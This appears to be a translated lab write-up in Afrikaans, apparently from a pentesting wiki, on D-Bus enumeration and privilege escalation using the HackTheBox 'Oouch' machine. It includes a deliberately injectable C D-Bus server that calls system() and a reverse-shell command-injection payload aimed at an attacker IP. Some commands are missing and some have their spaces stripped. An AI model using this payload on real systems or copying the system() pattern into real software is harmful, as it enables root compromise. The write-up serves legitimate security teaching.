D-Bus word gebruik as die interproseskommunikasie (IPC)-bemiddelaar in Ubuntu-desktopomgewings. Op Ubuntu word die gelyktydige werking van verskeie boodskapbusse waargeneem: die stelselbus, hoofsaaklik gebruik deur bevoorregte dienste om dienste bloot te stel wat relevant is vir die hele stelsel, en 'n sessiebus vir elke ingeteken gebruiker, wat slegs dienste blootstel wat slegs vir daardie spesifieke gebruiker relevant is. Die fokus hier is hoofsaaklik op die stelselbus as gevolg van sy assosiasie met dienste wat met hoër bevoegdhede (bv. root) loop, aangesien ons doel is om bevoegdhede te verhoog. Daar word opgemerk dat D-Bus se argitektuur 'n 'roeteerder' per sessiebus gebruik, wat verantwoordelik is vir die omleiding van kliëntboodskappe na die toepaslike dienste op grond van die adres wat deur die kliënte vir die diens waarmee hulle wil kommunikeer, gespesifiseer word.
Dienste op D-Bus word gedefinieer deur die voorwerpe en koppelvlakke wat hulle blootstel. Voorwerpe kan vergelyk word met klasinstansies in standaard OOP-tale, waar elke instansie uniek geïdentifiseer word deur 'n voorwerppad. Hierdie pad, soortgelyk aan 'n lêerstelselpad, identifiseer elke voorwerp wat deur die diens blootgestel word. 'n Sleutelkoppelvlak vir navorsingsdoeleindes is die org.freedesktop.DBus.Introspectable-koppelvlak, met 'n enkele metode, Introspect. Hierdie metode gee 'n XML-voorstelling van die ondersteunde metodes, seine en eienskappe van die voorwerp, met 'n fokus hier op metodes terwyl eienskappe en seine weggelaat word.
Vir kommunikasie met die D-Bus-koppelvlak is twee hulpmiddels gebruik: 'n CLI-hulpmiddel genaamd gdbus vir maklike aanroeping van metodes wat deur D-Bus in skripte blootgestel word, en D-Feet, 'n op Python gebaseerde GUI-hulpmiddel wat ontwerp is om die beskikbare dienste op elke bus te ondersoek en die voorwerpe wat in elke diens vervat is, te vertoon.
sudoapt-getinstalld-feet
In die eerste prentjie word dienste wat geregistreer is by die D-Bus stelselbus gewys, met org.debin.apt spesifiek uitgelig nadat die System Bus-knoppie gekies is. D-Feet ondervra hierdie diens vir voorwerpe en wys die koppelvlakke, metodes, eienskappe en seine vir gekose voorwerpe, soos gesien in die tweede prentjie. Die handtekening van elke metode word ook beskryf.
'n Noemenswaardige kenmerk is die vertoning van die diens se proses-ID (pid) en opdraglyn, wat nuttig is om te bevestig of die diens met verhoogde bevoegdhede loop, wat belangrik is vir navorsingsdoeleindes.
D-Feet maak ook metode-aanroeping moontlik: gebruikers kan Python-uitdrukkings as parameters invoer, wat D-Feet omskakel na D-Bus-tipes voordat dit aan die diens oorgedra word.
Let egter daarop dat sommige metodes verifikasie vereis voordat ons dit kan aanroep. Ons sal hierdie metodes ignoreer, aangesien ons doel is om ons bevoegdhede te verhoog sonder legitimasie in die eerste plek.
Let ook daarop dat sommige van die dienste 'n ander D-Bus-diens, genaamd org.freedeskto.PolicyKit1, ondervra of 'n gebruiker toegelaat moet word om sekere aksies uit te voer of nie.
Opdraglynopname
Lys Diensvoorwerpe
Dit is moontlik om geopende D-Bus-koppelvlakke te lys met:
Vanaf Wikipedia: Wanneer 'n proses 'n verbinding met 'n bus opstel, ken die bus aan die verbinding 'n spesiale busnaam toe wat 'n unieke verbindingsnaam genoem word. Busname van hierdie tipe is onveranderlik - dit word gewaarborg dat dit nie sal verander solank die verbinding bestaan nie - en, belangriker nog, dit kan nie gedurende die leeftyd van die bus hergebruik word nie. Dit beteken dat geen ander verbinding met daardie bus ooit so 'n unieke verbindingsnaam sal hê nie, selfs as dieselfde proses die verbinding met die bus afsluit en 'n nuwe een skep. Unieke verbindingsname is maklik herkenbaar omdat hulle begin met die - andersins verbode - kolonkarakter.
Diensobjekinligting
Dan kan jy enkele inligting oor die koppelvlak verkry met:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Lys van Intervlakke van 'n Diensvoorwerp
Jy moet genoeg toestemmings hê.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspekteer die koppelvlak van 'n Diensvoorwerp
Merk op hoe in hierdie voorbeeld die nuutste koppelvlak wat ontdek is, gekies is deur die tree parameter te gebruik (sien vorige afdeling):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Merk die metode .Block van die koppelvlak htb.oouch.Block (die een waarin ons belangstel). Die "s" van die ander kolomme mag beteken dat dit 'n string verwag.
Monitor/Vaslegging Koppelvlak
Met genoeg bevoegdhede (net send_destination en receive_sender bevoegdhede is nie genoeg nie) kan jy 'n D-Bus kommunikasie monitor.
As jy weet hoe om 'n D-Bus konfigurasie lêer te konfigureer om nie-root gebruikers toe te laat om die kommunikasie te snuffel nie, kontak my asseblief!
Verskillende maniere om te monitor:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
In die volgende voorbeeld word die koppelvlak htb.oouch.Block gemonitor en die boodskap "lalalalal" word deur misverstand gestuur:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Jy kan capture gebruik in plaas van monitor om die resultate in 'n pcap-lêer te stoor.
Filtrering van al die geraas
As daar net te veel inligting op die bus is, stel 'n ooreenstemmingsreël soos volg voor:
As gebruiker qtc binne die gasheer "oouch" van HTB, kan jy 'n onverwagte D-Bus konfigurasie-lêer vind wat in /etc/dbus-1/system.d/htb.oouch.Block.conf geleë is:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Nota van die vorige konfigurasie is dat jy as die gebruiker root of www-data moet wees om inligting te stuur en ontvang via hierdie D-BUS kommunikasie.
As gebruiker qtc binne die docker houer aeb4525789d8 kan jy 'n paar dbus-verwante kode in die lêer /code/oouch/routes.py vind. Hier is die interessante kode:
Soos u kan sien, is dit verbind met 'n D-Bus-koppelvlak en stuur die "client_ip" na die "Block" funksie.
Aan die ander kant van die D-Bus-koppeling is daar 'n C-kompilasie-binêre wat loop. Hierdie kode is aan die luister in die D-Bus-koppeling vir IP-adres en roep iptables aan via die system-funksie om die gegewe IP-adres te blokkeer.
Die oproep na system is opsetlik vatbaar vir opdraginspuiting, so 'n lading soos die volgende sal 'n omgekeerde dop skep: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Exploiteer dit
Aan die einde van hierdie bladsy kan u die volledige C-kode van die D-Bus-toepassing vind. Binne-in kan u tussen die lyne 91-97 vind hoe die D-Bus-objectpaden koppelvlaknaamgeregistreer word. Hierdie inligting sal nodig wees om inligting na die D-Bus-koppeling te stuur:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Ook, in lyn 57 kan jy vind dat die enigste geregistreerde metode vir hierdie D-Bus kommunikasie genoem word Block(Dit is hoekom die vullastelle in die volgende afdeling na die diensvoorwerp htb.oouch.Block, die koppelvlak /htb/oouch/Block en die metode naam Block gestuur gaan word):
Die volgende Python-kode sal die payload stuur na die D-Bus-verbinding na die Block-metode via block_iface.Block(runme) (let wel dat dit uit die vorige stuk kode gehaal is):
busctl is a command-line tool used to interact with the D-Bus system bus. It allows users to introspect and monitor the bus, as well as send method calls and signals to D-Bus services.
dbus-send is another command-line tool that can be used to send messages to D-Bus destinations. It can be used to invoke methods on D-Bus interfaces and send signals.
Both busctl and dbus-send are powerful tools that can be used for enumeration and command injection during privilege escalation attacks.
dbus-send is 'n hulpmiddel wat gebruik word om 'n boodskap na die "Message Bus" te stuur.
Message Bus - 'n sagteware wat deur stelsels gebruik word om kommunikasie tussen programme maklik te maak. Dit is verwant aan 'n "Message Queue" (boodskappe word in volgorde geplaas), maar in 'n Message Bus word die boodskappe in 'n intekenmodel gestuur en is dit ook baie vinnig.
Die "–system" etiket word gebruik om aan te dui dat dit 'n stelselboodskap is, nie 'n sessieboodskap (standaard).
Die "–print-reply" etiket word gebruik om ons boodskap op die regte manier af te druk en enige antwoorde in 'n mensleesbare formaat te ontvang.
"–dest=Dbus-Interface-Block" is die adres van die Dbus-interface.
"–string:" - Die tipe boodskap wat ons na die interface wil stuur. Daar is verskeie formate om boodskappe te stuur, soos dubbel, bytes, booleans, int, objekpad. Van hierdie formate is die "objekpad" nuttig wanneer ons 'n pad van 'n lêer na die Dbus-interface wil stuur. In hierdie geval kan ons 'n spesiale lêer (FIFO) gebruik om 'n opdrag na die interface oor te dra in die naam van 'n lêer. "string:; " - Dit is om die objekpad weer te roep waar ons die FIFO-omkeer-skulpuntlêer/opdrag plaas.
Merk op dat in htb.oouch.Block.Block verwys die eerste deel (htb.oouch.Block) na die diensobjek en die laaste deel (.Block) na die metode se naam.
C-kode
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}
